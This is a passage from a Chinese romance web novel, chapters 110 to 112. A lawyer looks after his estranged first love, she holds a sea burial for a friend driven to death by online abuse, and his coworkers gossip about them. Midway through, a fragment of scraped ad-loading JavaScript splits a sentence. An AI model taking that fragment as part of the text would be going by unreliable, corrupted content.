陈恕见她这般死气沉沉的模样,内心气了个仰倒,他忍了忍,面无表情地走过去,将床上自带的可拆卸桌子掰起来装好,又将白粥放在桌子上,道:“你应该饿了,吃白粥吧,你现在也只能吃这个了。” 张期期点了点头,拿起勺子小口小口地舀着粥喝。 陈恕坐在一旁的椅子上,时不时看一眼手机,指尖在屏幕上飞快地滑动着。 张期期的余光瞥到这一幕,脑海里突然闪过一道闪电般的思绪,对了,报道……她立刻将勺子放下,急声道:“陈恕,林听的报道发布了吗?” 她又抬头看了一眼墙壁上挂着的时钟,现在已经是上午十点多了。 闻言,陈恕抬眸望向她,好整以暇地将手机锁屏关上,“你先吃,吃完我再说。” 张期期:…… 她心里撇了撇嘴,她也可以自己拿手机看,视线在病房内环绕一周,她的手机正躺在床头柜上,张期期心神一动,立刻伸手摸到手机,打开……一片黑屏,没电了…… 好吧……她三两下将白粥喝完,随后目光灼灼地望着陈恕,陈恕轻轻吸了口气,颔首道:“凌晨的时候林听就已经发布了,现在……已经冲到了微博前三的热搜榜上了。” 张期期点点头,急着又问,“那评论呢?报道下面的评论……还是那些不堪入目的话吗?”她说着说着语气不确定起来。 陈恕摇了摇头,“不是。”一家三代人鲜血的牺牲,谁能不动容。 他继续道:“你放心吧。今天早上金颂律所的官号也已经表示了会接手这个案件,那些伤害柏雪的人我们会一一起诉。特别是那个大作者,律所表示一定会追究她的责任。” “原本应该做个反调色盘的,但由于对方根本没做调色盘,直接挂人引导她的粉丝屠了柏雪专栏文章内的评论区,所以……后续对方如果做了调色盘的话,我们也会专门请人做反调色盘。” 张期期边听边重重点头,关于调色盘这一点,她完全不担心,柏雪的小说故事完全就是以她自己的个人经历为主线,再加上小说内里面的某些案件还曾经是柏雪或者她的家人办过的案子的改编。 …… “陈恕,你手机能借我看看评论吗?”虽然知道情况已经变好了,但她还是想急切地想看看评论。她自己的手机充电等到开机,还是需要一点时间的,而她等不了。 陈恕嗯了一声,随手将手机递给了她,上面的页面正是那条报道…… 张期期指尖飞速地滑着,几乎是一目十行地看着,看着底下大片大片的评论都是为柏雪说话、向柏雪道歉的话语,还有她的读者为柏雪锦旗呐喊,声讨无故挂人的大作者,她的眼底渐渐模糊。 柏雪……你会看到的,对吧? 她抬手用手背随意抹了下眼眶,翻了好半响的评论区,见舆论已经不像之前那样一面倒的辱骂,反而是大部分的人都开始剖析这件事,扒这件事的细微诡异之处,她这才松了口气。 指尖不小心滑动了一下,报道的页面被缩到后台,屏幕回到了最开始的状态,张期期看着屏幕上的壁纸,完全愣住了…… 屏幕壁纸上是她的照片,这张照片……她什么时候有这张单人照的?张期期思考了片刻,好像是当年重点一班的大家在顶楼上烧烤时大家一起拍的合照,这是她被单独截出来的画面…… 事情发生在一瞬之间,陈恕想抢过手机来时,她已经看到了上面的壁纸了。 他嘴角绷直,心底有些懊恼和烦闷,这张壁纸是多年前他在德国上大学时偶然遇见了来德国旅游的顾佳熹之后,找她要的照片,年少的他并没有手机,自然也就没有这张照片。 当时他心底即便充满怨恨和不甘,但到底还是想念她的,因此他将照片只截了她一个人出来作为了手机屏幕壁纸。 为了不被别人撞见,他并没有设置这张照片为锁屏壁纸,而他身边的同事、朋友大多是律师,他们一般都会在他打开手机时自觉地转移视线。 这么多年,他也习惯了,因此换了手机之后,也没有特意改掉这个习惯,没想到今天被她撞见了…… 陈恕面无表情地从她手里拿过手机,“现在安心了?你好好休息吧。接下来的事我会处理的。” 恰在这时,门外响起了叩门声,陈恕起身走了出去,片刻后,他拿着一台笔记本电脑走了进来,他将笔记本电脑放在桌上打开,开始安静地忙碌起来。 张期期见状,想问的话也咽了回去,问了又能怎么样呢?时过境迁、物是人非,难道他们之间还能心无芥蒂地继续走下去吗? 她垂下眼帘,默默从床上下去,在斜挎包里找到充电线,给自己的手机充上电。 陈恕按着键盘的指尖一顿,余光瞥到她若无其事的行为,眼神渐渐沉下来,是啊……她看到了又怎么样,九年前她都能随意撇下他,更可况是九年后才再次见面的她呢?她但凡有一丝丝的惦念他,他们之间就不会落到现在的地步。 他到底在可悲地期望着什么……陈恕嘴角勾起自嘲的弧度,她早就不在意了吧? …… 111. 第 111 章 - 傍晚,云霞漫天,橘红色的落日余晖洒在病房雪白的窗帘上,飞鸟从窗外的天空掠过…… 张期期倚靠在床头抬眸望着一旁还在忙碌的陈恕,这一整天里他都呆在这里,除了偶尔出去病房外打电话和帮她打饭菜之外,他真的从早忙到晚。 金颂律所……张期期微微笑了笑,他这么努力,这都是他该得的,年少的时候他就那么优秀,长大了自然也很出色。 如今的他,褪去年少的青涩,变得成熟稳重,与先哥一起创办了金颂律所,成为京照市声名赫赫的大律师。真好啊…… 张期期这一刻忍不住庆幸,还好……还好当年他没有因为自己留在了京照,没有不去已经保送的国外大学,没有她的干扰,他长成了他应有的样子。多好啊…… 她的目光如此热切,陈恕自然不可能感受不到,她抿了抿唇,硬撑着不去看她,越看他会越生气。 噔噔噔——是手机震动的声音。 张期期蓦然回过神来,是她的手机,她伸手将充电线拔掉,接通了电话。 “嗯,对,是我……明天吗?好,我知道了,我明天回去接的。谢谢你们,麻烦了。” 她挂断电话,神情一下子低落起来,张期期愣愣地看着手机相册中柏雪曾经发给她的照片,照片里的对方明眸皓齿,眼神坚毅,大笑着望着镜头。 滴答——泪水滴落在手机屏幕上。 陈恕按着键盘的指尖微微一顿,他抿着唇站起身走过去,从床头柜上抽了张纸巾递过去。 张期期愣了下,随后伸手接过纸巾捂住发红的眼睛,任由满眼的泪水浸湿纸巾,陈恕静静地站在她的身旁,任由她哭泣落泪。 朋友逝去的这种痛,他也曾体会过,那个少年的名字哪怕在心中反反复复地轻念着,现实中他们几乎不再提起。因为他们都知道,只要一提起,谁都会掉眼泪,谁掉眼泪,所有人都会难受加倍。 良久,张期期才慢慢停下了哽咽,她平复着情绪和呼吸,瓮声道:“我已经好多了,我想出院。明天我要去殡仪馆接柏雪的骨灰。” 陈恕微微皱眉,但还是道,“好,我知道了。”他看着她通红的眼眶,又道:“你先收拾一下,我去找医生说一声。” 陈恕离开后,张期期慢慢从床上下来,进了卫生间,她用毛巾沾湿冷水,轻轻搭在眼皮上敷了一会,待眼睛好受一点之后她才开始收拾东西。 病房内属于她的东西本就不多,她一股劲全团成一团往背包内塞着,陈恕站在门口看着她胡乱塞东西的动作,眼底闪过无奈。 发现陈恕站在门口看她,张期期无措又尴尬地站在原地,顿了顿之后,她还是硬着头皮塞进去,原本没有打算在京照市呆多久的,所以她也就带了一个不大的斜挎包。 陈恕:…… 他提着一小袋子,面无表情地走过去,淡淡道:“这些是药,怎么吃都写在盒子上了。” “好。谢谢……”张期期伸手接过,手下一个动作就要继续往包里塞。 陈恕顿了下,制止了她的行为,他拧了拧眉心,“里面有玻璃瓶装的,你这样很容易碰碎的,我先帮你拿着吧。” “哦,好……谢谢。” 陈恕嘴角绷直,“别再一口一个谢谢了。” 张期期下意识垂眸,“哦……” 陈恕额头青筋直跳,他咬紧后槽牙忍了忍,“你胃还没好,住酒店很不方便,今晚先去我家,明天送你接柏雪。” 张期期咬了咬泛白的唇,她很想拒绝,因为住陈恕家更不方便,前天晚上她洗了澡换了衣服,内衣和换下来的衣服都没有洗直接塞在了斜挎包里,她无法想象自己在陈恕家将内衣和衣服晾在阳台上的情景。 再者昨天晚上她睡过去了也没有洗澡,她没想到会在京照市呆了好几天,所以只带了一套换洗的衣服、一套睡衣而已,这两天又一直和陈恕在一起,她都没有时间去买新的内衣和衣服。 她是真的很想去酒店住,然后自己找个时间买点可以换洗的衣服,她现在唯一庆幸的是她出门时拿了一小包的一次性内裤。 陈恕见她一脸抗拒、为难的神情,下颌角顿时绷得紧紧的,他冷淡道:“你的胃还没好,住酒店叫外卖吃吗?这样的话,那你还吃什么药,没必要吃了。” 怒意在他的心中突然高涨,克制着冷淡的语气在说到最后时,控制不住露出了尖锐和锋利。她就那么抗拒他、排斥他,甚至不惜糟蹋自己的身体,避他避得如洪水猛兽。 陈恕提着药袋的手背青筋暴露,指甲掐着掌心。 张期期被他尖锐的语气吓得一个哆嗦,她从未见过他这么生气的样子,她怯怯地看向他,嘴唇动了动,小声迟疑道:“陈、陈恕……那就先住你家吧,麻烦你了。” 方才尖锐的话语脱口而出时,陈恕就后悔了,此刻她脸上出现怯弱、惶惶的神情时,他更是觉得满心憋闷,她妥协、让步了,他却一点儿也顺心不起来。 见陈恕沉默着,张期期小声、怯怯道,“陈恕……” 陈恕回过神,深深闭了闭眼,冷静道:“没事,走吧。出院手续我刚刚已经办好了。” “谢……唔……” 张期期想到陈恕讨厌她一直说谢谢,道谢的话突然又咽了回去,她点点头跟在陈恕身后走出了医院。 在停车场准备上车时,她磨磨蹭蹭,有些犹豫,离医院不远处有一个大型的商都,开车十几分钟就到了,内衣、替换的衣服都是必须买的,但是她难以想象和陈恕一起去这种店。 陈恕已经将她的背包、帆布包都放进了后备箱里,坐在了驾驶座上,却见她打开了副驾驶的车门,却迟迟不上车,“怎么了?快上车。” 想让对方先回去的张期期闻言只得上车,她磨磨蹭蹭地拉着安全带系上,余光瞥了陈恕一眼又一眼,支支吾吾,想开口又犹豫不决。 陈恕:…… 他怎么可能注意不到,无奈、无力的心情越渐浓厚,他专心致志地看着前方转动着方向盘,“怎么了?有什么事直接说。” 张期期看着即将开过去的商都,硬着头皮道:“我没带衣服可以替换了,前两天的衣服都没洗……”陈恕家也只有洗衣机,没有烘干机,所以买新的衣服是最方便的。“所以……我想去商都那边买几件可以替换的。” 闻言,陈恕侧首看了她一眼,商都在道路的另一侧,他转了下方向盘在路口转弯,“下次再有这样的事直接说就是。” “哦……好……” 陈恕抿了抿唇,不明白为什么这么简单的事她都要犹豫那么久才开口,畏畏缩缩、支支吾吾、犹豫不决,她自出现在他面前之后便一直是这副样子。 他不免在心里揣测着陆向川这些年到底是怎么照顾她的,让她变成了这个样子,明明她应该是灿烂耀眼的,时光仿佛在她的身上蒙上了一层晦涩。 …… 商都。 张期期抿着唇,神色秧秧、微微垂着眸走着,跟在她身边的陈恕深吸了一口气,开口道:“你低着头还能挑衣服吗?” 张期期顿了顿,无措地抬眸,余光瞥见旁边的一家服饰店,是个非常小众的牌子,质量不错,风格也相对简约经典,她连忙道:“那、那……去这家店吧。” 陈恕自无不可地点点头,从顺如流的跟在她的身后,神情自然,他进了店里后直接坐在可供客人坐的沙发上等待着张期期挑好。 张期期指尖在衣架上滑过,边挑衣服边偷偷看了一眼怡然自得的陈恕,她脸上露出了尴尬的神情。 见陈恕起了个势,好像要看过来一样,张期期立刻低下了头,随手挑了一件中长款的白色T恤连衣裙,中间只有抽绳设计,还有一件灰紫色的荡领纯棉短袖、一件黑色的牛仔长裤。 “就这三件。”张期期低声道。 “需要试试吗?” “不用了,码数我看了,是合适的。”张期期微笑道。 销售店员将衣服连带着衣架拿到了前台,一边算账一边将衣服上挂着的防盗扣拆下来,“一共1288元。” 销售店员拿起了扫描器,张期期低头点开微信的支付页面。这时身旁传来“滴——”的一声,她愣了下,转头看过去,陈恕站在她的身边已经将款付了。 “好的,收到你1288元。” 张期期急道,“等、等等……我自己来就行,他的能退吗?” 店员看着一起进来,明显是情侣的这两人,露出抱歉又狐疑的眼神,礼貌道:“不好意思,不能呢,退款是老板的权限,我只是员工无法操作。” “可是……”张期期还想继续说。 陈恕脸上带着微笑地接过销售店员递过来的袋子,他伸手握住张期期的手臂,微微用力拉着她往外走。 出了商店,男人低沉的声音响起,“你要跟我这么见外吗?” 见外……张期期垂下眸,脑海里回响的却是他不久前说过的话,“我帮你仅仅是因为你的姥姥,和你并无关系。” 所以……现在也是因为姥姥吗?因为姥姥帮过他,资助他上学。大概就是这样了吧,张期期沉默了片刻。 陈恕盯着她看,又问道:“还有什么东西想买的吗?” 张期期闻言,想起最重要的内衣内裤,脸色突然尴尬又涨红起来,她诺诺地点点头,犹豫着开口道:“嗯……你不用跟着我,要不……” 不远处正好有一家咖啡厅,她立刻指了指那家咖啡厅接着道:“要不你去咖啡厅坐着等我吧?我自己去买就行……” 一阵安静…… 张期期:? 她抬眸,便见陈恕眼神深沉地盯着她看,嘴角抿得紧紧的,浑身仿佛散发着低压。张期期连忙改口道:“你……你不嫌麻烦的话,就、就跟着好了。” 陈恕颔首,“走吧。” 眼前是一家女性贴身内衣内裤商店,这个牌子以舒适和轻薄为主要推出卖点,是她穿惯了的牌子。 到了门口,张期期低着头硬着头皮快速道:“你在门口等我一会儿。”她说完,麻溜地走了进去。 而直到这个时候,陈恕才忽然反应过来,他嘴角微带起一阵笑意,原来她磨磨蹭蹭和一直赶他走就是因为这个啊,想到她涨红的脸,陈恕瞬间觉得心情轻松了一些。 与此同时,不远处方宜和金颂律所其他几个同事一脸震惊地看着突然出现在这里的老板。 方宜瞪大双眼,喃喃道:“我没看错吧!老板居然站在女性内衣店门口,刚刚他身边有个女人走进去了,是和老板一起的吧,是吧!” “好像是吧?老板什么时候谈恋爱了,居然已经发展到一起去内衣店的关系了,我们老板这么强的吗?” “没道理啊,我们律所居然是老板这个工作狂最先脱单!说出去谁信啊!” 几人凑在一起低声议论着,八卦之心熊熊燃起,事关老板的风花雪月他们恨不得凑近看个清楚,等回到律所再告诉大家时,一定会收获大家震惊、不可置信的眼神,想想就刺激。 然而可惜的是商都的中间是挖空的,要走过去只能绕个圈,很容易直接撞上老板,因此他们只能歇了这个心。 张期期随意挑了几套简单的内衣内裤,自己付了款,她心底松了一口气,还好这次陈恕没有跟着进来,不然真的太尴尬了。 “我买好了……”张期期微微红着脸,低声道。 … “出来了,出来了!我去,老板真的是陪女孩子出来买内衣,天呐,我好震惊,这种事怎么想都和老板不搭吧,我以为老板应该是那种清心寡欲,一心只想工作,然后女人缠着他,他就甩张卡给对方,说要买什么就自己去买,不要打扰我工作的这种类型啊!” “喂——你小说看太多了吧!” 方宜暗搓搓拿出了手机,打开摄像头,忍不住想拍张照片,然而她身旁立刻伸出来一只手,同事捏住了她的手机,道:“拍照就过份了啊,我们可是律师,你这是持证犯法哦~” * 想到家里已经空空荡荡的冰箱,又低头看了一眼刚住院出来的张期期,陈恕拉着她又逛了一趟商都里面的超市,买了食物准备回去给她做饭。 回到家时差不多快十一点了,张期期打过招呼就去洗澡了,一晚上没洗,她早就受不了了。 陈恕则是拎着菜走进了厨房内,需要放冰箱冻的食材都放进去,又开始淘米煮粥,洗菜洗虾。 等到砂锅里的粥开始滚起来,他将已经用调料煎好的虾和虾油一起放进了粥里,再煮个十分钟后,虾油和虾的味沁入白粥里,他再将切碎的葱和香菜洒在粥上。 见张期期还没洗完,陈恕又用开水烫了一遍生菜,既让生菜熟了又还保留着它的鲜嫩口感,再在菜上淋了用蚝油和蒜头调制出来的调料。 等张期期吹干头发出来之后,鲜虾粥和烫生菜已经摆放在了餐桌上,陈恕坐在餐桌旁,神色淡淡道,“坐下吃吧,我没煮油腻的。” 张期期点点头,将正要脱口而出的道谢又咽了回去,她拿起勺子舀着粥放入口中,虾的鲜味和香糯的粥一起融入口中,温暖了抚慰了她的胃,她下意识舒服得眯起了双眼。 将粥咽下后,她突然又想起刚才在房间里找吹风筒时,她随手拉开房间的衣柜发现衣柜里全是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陈恕的衣服,春夏秋冬的都有,她住的那间房就是陈恕的房间,并不是什么客房。 一想到她躺着的那张床是陈恕躺过的,盖的被子也是陈恕盖过的,床上还沁入着他身上冷冽的气息,她就感觉头晕目眩,浑身不自在极了。 “怎么了,吃不惯吗?”陈恕停下筷子问道。 张期期回过神,她摇了摇头,“没有,你做的很好吃。”她上次吃过他煮的面汤之后就想说了,听说在外留学的学生都会养成好厨艺,也不知道陈恕的厨艺是不是在德国留学的时候学出来的。 她有心想问问,但思及彼此之间的嫌隙,到底还是没有说。 没想到陈恕却忽然提起了,他扯了扯嘴角,“嗯……不习惯国外的饮食,所以只能自己做。” 张期期点了点头,陈恕眼眸微闪,艰难地开口道:“你呢?在美国过得怎么样……” “就……那样吧。没什么特殊的。”张期期微垂着眸,心道陈恕当年应该是觉得自己真的跟着陆向川去了美国吧,也好,就当她去了美国吧,那些晦涩难平的过去她都不想再提起了。 就那样……轻描淡写,混不在意,一股气憋在陈恕的心口,她轻描淡写的过去却填充着他过去日复一日、年复一年的等待和寻找,绝望和失落。 在德国学法律的日子每天手上至少三本比砖头还厚的律法,学业繁忙中他还要压缩自己的睡眠时间不停地打工、兼职,除了承担自己的生活费、住宿费之外,其中有相当一部分的钱被他用于往返德国和美国、德国和京照之间,他在国外国内的街头无数次地寻找着她的踪迹,混迹美国当地的留学圈子打听着她的消息…… 可她却像人间蒸发一样,九年来没有任何消息,后来他想,或许是因为阶层的原因,她所在的圈子根本不是他这种人可以接触到的。 是啊!她在美国的日子就像在京照市一样,没什么特殊的,与往常没有什么区别,毫不费力,有钱人在美国也能过着和国内一样的日子,饮食、出行都不需要担心。 这么一想,陈恕嘴角扯了扯,随意地点了点头,是啊,没什么好说的,说得再多,只会让他自己显得更难堪而已。 * 吃过饭后,陈恕在厨房里洗碗,张期期趁着这个时间连忙将自己攒了两天的衣服全部塞到了洗衣机里,倒进洗衣液,指尖在上方的按键处操作起来,洗衣机内开始哗哗地流着水…… 陈恕擦了擦手从厨房里出来,张期期刚好走到他的面前,她顿了顿,神情有些犹豫。 陈恕见状,抿了下唇,“你有话就直接说。” “我……我睡的是你的房间吧?要不还是换过来吧?”他的衣服和个人用品都在主卧内,现在他住在客卧应该很不方便吧…… 陈恕眼神沉沉地看着她,“怎么?你嫌弃?” “不是……我没有这个意思。我……” “你的药得吃了,温水我已经放在餐桌上了。”陈恕打断她的话。 “哦……” 见她一副坐立不安的样子,陈恕拧了拧眉心,还是开口解释了,“主卧里面有卫生间,你是女生,房间里有卫生间比较方便。” 张期期闻言,点点头,低声道:“你要是需要从房间里拿什么,就过来找我。” “好。” 窗外阳光的热度渐渐浮升,空气中带着燥热的气息,许是吃了药的原因,张期期感觉十分困倦,难得有困意,她心中顿时一喜,迅速抓着这股感觉回到房间内摆弄了一下手机后,立刻午睡。 陈恕从公文包内拿出笔记本电脑,他虽然没有去公司,但很多工作却也是停不下来,再加上接了张期期那人数庞大的单子,他还是很忙的,能推给先哥的都已经推给他了,剩下的他只能自己来。 在午间工作会使人乏倦加倍,书房内陈恕伸手拧了拧眉心,身体朝后靠在椅背上,他看向书房开着的房门,期期若是出了房间,他一眼便能看到,一瞬间便能听到…… 喜欢的女孩子就躺在他的床上无知无觉地睡着,这一刻即便工作上有些许的疲累,但不可否认这么多年来,没有哪一刻比现在更让他感受到安定和满足。 窗外阳光绚烂,午后的热意晒得人渐渐萌生睡意,陈恕眼底荡漾起柔和的笑意,他起身往主卧走去,轻轻拧开了房门把手。 门没锁……陈恕嘴角微扬,他喜欢她这种对他不设防的行为。 主卧内的窗帘是薄薄的纱质窗帘,既能遮挡刺眼的阳光,又不至于让房间内光线昏暗,这种材质的窗帘和当年在京照一中时教室使用的那种相同。 轻薄的被子贴在她的身上,显示出女人优美的身形弧度,他没有走进去,只是站在房间门口看了几眼,这便足够了。 片刻后他又悄悄关上了房门,回到书房继续忙碌工作上的事情,方才让他觉得有些麻烦的案件现在觉得倒也不是那么难以接受了。 日落月升,斗转星移,她安静呆在他身边、领域内的这一天是他一直以来渴求的生活。陪着他,不要走…… * 翌日。 天色透亮,张期期眼底带着些许的青黑走出了房门,今日要去接柏雪,她特意换上了中长款的白色连衣裙。 刚出房门便闻到了早餐的香气,陈恕正在餐桌旁摆放着盘子、碗筷,见她出来了,他下巴微微抬了抬示意她先将倒好的温水喝了。 张期期喝了温水后坐在了餐桌前,今日的早餐是西式的,三明治、牛奶、沙拉,很清淡,是她能吃的。 陈恕也没多说什么,两人默默吃了早餐,他收拾完之后回房间换了一套黑色的西装。 殡仪馆内,缓慢滚动的led电子显示屏上显示着接下来即将被火化的尸体名字,时间、哪个炉等等,柏雪的名字刚好排在最上面。 张期期觉得接下来的时间仿佛格外地冗长,良久良久……工作人员收敛完之后将一个黑色的小盒子拿给了她。这时她才注意到其实时间只过了短短一个小时而已。 走出殡仪馆之后,张期期又带着骨灰盒前往了海葬的地点,在得知柏雪的家人都是海葬之后,她也在有关网站上提交了海葬的申请。 此时此刻,海面上的风有些大,刺眼的阳光在海面上洒下阵阵闪烁的光芒,柏雪的海葬仪式极为简单,因为他们一家人口的单调,再加上极为敏感的身份,那些警校同样在职的同学,柏雪早就没有联系了,因此这一场海葬只有张期期和陈恕到场而已。 她手上捧着鲜花,看着骨灰被装在一个特制的可溶性的罐子里,据说这种罐子一入水就会完全溶解。 天朗气清,云卷云舒,柏雪自由了。 …… 112. 第 112 章 - 金颂律师事务所。 午间。 往日这个时间点,律所的员工在各自解决完自己的午饭后就会抓紧时间休息,然而今日律所内的气氛显得格外地躁动人心,他们压抑着声音窃窃私语,仿佛在谈论着什么激动人心的事情。 “我觉得不可能,方宜说的肯定是假的,虽然我们老板年轻有为,又很帅,但他不解风情啊!怎么可能有女朋友!” “我也觉得,估计是看错了,应该是老板的委托者吧!” 方宜:……她就说应该拍张照片做证据吧? 方宜嘴角抽搐,她和另外几个同事昨天是跑外勤去了,今天才回到律所,这会儿才有功夫偷偷说起这件事,偏偏现在只有她一个人在,另外几位同事还没回来。 “委托者?老板怎么可能带着女性委托者去内衣店啊!!”方宜抓狂道,这种明明讲了一个大瓜,却没有一个人信的感觉实在是太糟糕了! “女性内衣店?那更不可能啦,方宜你肯定看错了!” “就是就是!” 这时,律所的门被推开了,“哟,这么热闹呢……哎!”来人压低了声音,神秘兮兮道,“我这有个超大新闻,你们想不想听?” 方宜一转头,顿时激动道,“你们不信我的话,总该信他的话了吧,昨天我们就是一起看见的,老板确实和一个女孩子进了女性内衣店!!” “啊,你已经说了啊!” “难道是真的??” “就是真的啊!!” “真的??” “真的!!我们不可能好几个人都看错!” 众人面面相觑,露出激动又震惊的眼神,兴奋道:“那女孩子是谁啊,是我们认识的吗?难道是联合律所的人,老板师傅的女儿!!” 方宜遗憾地摇了摇头,“我也不知道那个女孩子是谁,但看背影就知道不是联合律所那边的。” 此言一出,众人纷纷面露遗憾,到底是谁拿下了他们的老板呢? 站在楼梯口的周嘉先脸上带着神秘的笑意,他手扶在楼梯的围栏上,另一手拿着保温瓶,听着底下一群员工在议论。 视线穿过员工办公区,周嘉先看向此刻律所玻璃门外影影绰绰的身影,好久不见了啊,期期…… 律所门被推开的声音响起,方宜以为是其他同事回来了,头也不回地继续说着,“你们说我们老板谈了恋爱之后还会不会整天一副工作狂的样子啊!他要是还这样子,我觉得他女朋友迟早得跑,你们说对不对?” 助理小林、其他同事:…… 他们视线掠过方宜身后的老板和微微垂着头、被老板的身形半挡住的女孩子,神情突然变得尴尬起来,一群人纷纷闭上嘴,假装开始忙活手头上的事情。 “哎……你们怎么了?话都没说完,突然就走了!”方宜不满道。 与此同时,陈恕幽幽道:“方宜,你很闲吗?我这里还有两个适合你办的案子,晚点我发资料给你。” 方宜:已石化,勿cue! …… 当陈恕往楼上走时,张期期的面容和身形便显露出来,一旁正假装忙活自己手头上事情的员工们都悄悄停下了手上的动作,余光瞥了张期期一次又一次。 唔……还真是完全不认识呢……看来不是他们律师圈子的。 “期期……好久不见。”周嘉先握了握保温瓶,神色温和地走了过来。 其他人:诶?? 张期期乍然见到周嘉先,圆润的双眼顿时瞪得更大了,她惊喜道:“先哥!”虽然她确实早就知道金颂律所是周嘉先和陈恕一起创办的。 “好久不见。”她笑着道。 这一刻,她的笑容灿烂、眼底没有任何的阴霾,仿佛时光一下子穿梭回多年前,她还是当年青涩校园里活得肆意张扬的她。 陈恕眼底的尖锐和沉重突然一下子柔和下来,他这些日子别扭又偏执,原来只是意难平于无法见到那样绚烂耀眼的她,此刻他嘴角微扬,心情突然变得好起来。 周嘉先伸手搭在张期期背着的斜挎包上,轻轻扯了扯她,“这么久没见,我们是该好好聊聊。” 张期期笑着点点头,三人往楼上的办公室走去,等他们的背影消失在视线里时,方宜才激动地拍了拍桌子,喊道:“看见没有,就是那个女的,我们在商都看见的就是她。” “喊先哥?看起来和周律师也很熟耶!我记得周律师和老板是高中同学吧,难道这个女孩子也是他们高中的?” 助理小林笑了笑,“联合律所那边的杨律师得知这个消息,得难过死吧,她可时不时就跑我们律所来找老板吃饭呢!” “你们刚刚看到没,老板的眼神一下子变得柔软起来呢!哎呦……真是甜死了!没想到没想到啊!” “奇怪!我怎么觉得那个女孩子有点眼熟啊!”律所的前台嘟嘟囔囔道,好像她在哪里见过她的照片呢。 …… 办公室。 周嘉先和张期期已经寒暄了好一会儿,好半响他才问道:“期期,你接下来还会呆在京照市吗?柏雪的案件可能没那么快结束,拖个一年半载的很正常。” 柏雪这个案件也算是很轰动了,网络暴力一直以来就是边界非常模糊的案件,这个案件造成的影响还是很大的,更何况受害者既是英雄的后代,又本身也曾是英雄。 各个律所和各方人员都在注意着,那些在网络上曾辱骂过柏雪的大多已经在各大平台上道歉。 而那名始作俑者的大作者还在负隅顽抗,她所需要付出的代价并不仅仅是道歉而已,因为事件比较严重,网爆致他人死亡。 张期期抿了抿唇,“没关系,一年半载,三年五年都没关系,我一定会追究下去的。” “说起来,那个作者曾向这边递过话,说愿意私下和解。”周嘉先道。 “和解……”张期期冷笑了一下,眼底泛起了陈恕熟悉的年少时那种为身边人一往无前的锐气,她道:“柏雪都不在了,她想和谁和解。” 周嘉先点点头,“我知道了。那……你接下来是……”他余光瞥了一眼陈恕。 “接下来……”张期期神色有些迷茫,“回鹿海市吧。” 周嘉先:…… 他瞥了陈恕一眼,果不其然他的脸色顿时难看起来。 周嘉先笑了笑,他可没有立场劝人家留在京照市,长大了,年少时喊着大家要永远在一起是多么幼稚、天真的行为啊,这世界上每一个的人生都不是绑在一起的,哪怕关系再好,再亲密。 互相加上了新的联系方式,张期期便说要走了,“我已经定了回京照的机票,后续还有问题,我们可以微信上联系,我也得回去了,木木还在家里等着我。” “木木……”一听就是小孩子的名字,周嘉先大惊失色,不会期期已经结婚还生娃了吧,他下意识盯着陈恕看。 陈恕:…… “哦,木木是我养的小猫,超可爱的。”张期期笑着道。 松了一口气的周嘉先尴尬地笑了笑,“这样啊……啊,对了,我想起来我还有个案件资料还没出处理,期期我先去忙了,我们有空微信联系,或者你下次来京照再一起约个饭。” 眼见着陈恕的脸色越来越难看,周嘉先立刻溜了,有什么事让他们之间自己去解决,感情的事情他可完全帮不忙上啊! 周嘉先走后,陈恕抿了抿唇,平静道:“你什么时候订的机票?” 张期期顿了顿,不太理解这有什么好问的,但还是道:“昨天中午…” 昨天中午……呵…… 陈恕心中嗤笑一声,原来是昨天中午啊,他内心泛起无边的苦涩和自嘲,在他沉溺于她躺在自己床上时内心平和安稳,甚至觉得希望那时时间可以慢下来的时候,她却在计划着离开,甚至连机票都定好了。 何其讽刺,她张期期对他每一次都是如此的狠心和绝情,想走就走,想离开就离开。他忍不住想要质问他自己,凭什么他就得被她支配着情绪,陈恕你真的是无可救药的、毫无自尊的吗? 陈恕深深地闭上了眼睛,他下颌角绷紧,淡淡道,“行吧,我很忙,就不送你了。后续的事情也会有人和你继续对接的。” 他一副“慢走不送”的样子,张期期睫毛颤了颤,垂着眼眸攥住斜挎包的袋子,小声道:“没事,我自己下去就行。” 她转身时看了他一眼,他正仰靠在沙发上伸手拧着眉心,一副疲倦的样子。 张期期紧紧抿着唇,一步一步地走下了楼梯,她的身后陈恕缓缓睁开了双眼,男人骨节分明的手紧紧地扣在沙发的扶手上,青筋暴露,看着她的身影渐渐消失在他的视野里。 她没有回头,一如那年。 天际上浓厚的云层遮挡住了耀眼夺目的太阳,从玻璃窗透过来的阳光都变得暗淡起来,微微燥热的风吹得人心头焦躁不安,仿佛有股气憋在心头卡得不上不下。 办公室内静得落针可闻,陈恕呼吸声越渐沉重,指甲狠狠掐进了手掌心。 “叩——” 敲门声响起,陈恕下意识坐正身体,他压抑着情绪抬眸望去,只见周嘉先好整以暇地倚靠在办公室的门上,“期期走了?” “嗯。”陈恕见是他,任由情绪弥漫,整个人颓然地靠回了沙发上。 周嘉先笑了笑,走进办公室时,顺便将门关上了,还是给这位情场失意的大老板维护一下形象和面子吧,免得有同事上来撞见他情绪失控的样子。 他坐下来,继续道:“就这样让她走了?” “不然呢?持证犯法吗?” 周嘉先忍俊不禁,陈恕神色淡淡地看向他,他缓缓收回了嘴角的笑意,循循劝道:“怎么不试着开口挽留一下她呢?我觉得期期心里还是有你的……” 嗤……陈恕忍不住嗤笑一声,心里有他?心里有他会一走那么多年,心里有他会恨不得离他远远的,心里有他会一声不吭定了机票就走? 好,即便心里有他,那也是微不足道的一小部分,这一部分又怎么能改变她的去留,而他陈恕,难道就要因为摇尾乞怜地渴求这一小部分吗? 周嘉先:…… 他烦躁地抓了抓头发,都这么多年了,一个个都没有长大,偏执又不肯放过自己,陈恕是,林听也是。 “算了!我也懒得管你们的事了。”他起身走出了陈恕的办公室,那家伙就是一叶障目,他就不信他真的能忍下去。 …… 与此同时,律所员工办公区的前台员工突然恍然大悟,以拳捶了捶掌心,“我想起来了!”方才张期期低垂着眼走出律所时的侧脸与她曾经看过的一张照片重合。 此时午休刚结束,睡眼朦胧的方宜边揉着眼睛边道:“你想起来什么了啊?一惊一乍的,好在我们都差不多醒了,不然真要被你吵到了。” 前台员工压低声音,神秘兮兮道:“我知道老板带回来的那个女孩子是谁了。” “你知道??!!”方宜一脸我不信的样子。 见状,前台员工急了,“你知道我们律所有些布置都是我负责的吧……”她指了指楼梯墙壁上挂着的一幅画,“看到那幅画了吗?那幅画是我采购的,刚刚老板带来的女人就是那幅画的作者,我关注过她的微博账号,她账号上几年前发过她自己的一张照片。就是她,我没认错!” “哇——真的啊!快,账号发给我,我去看看。” 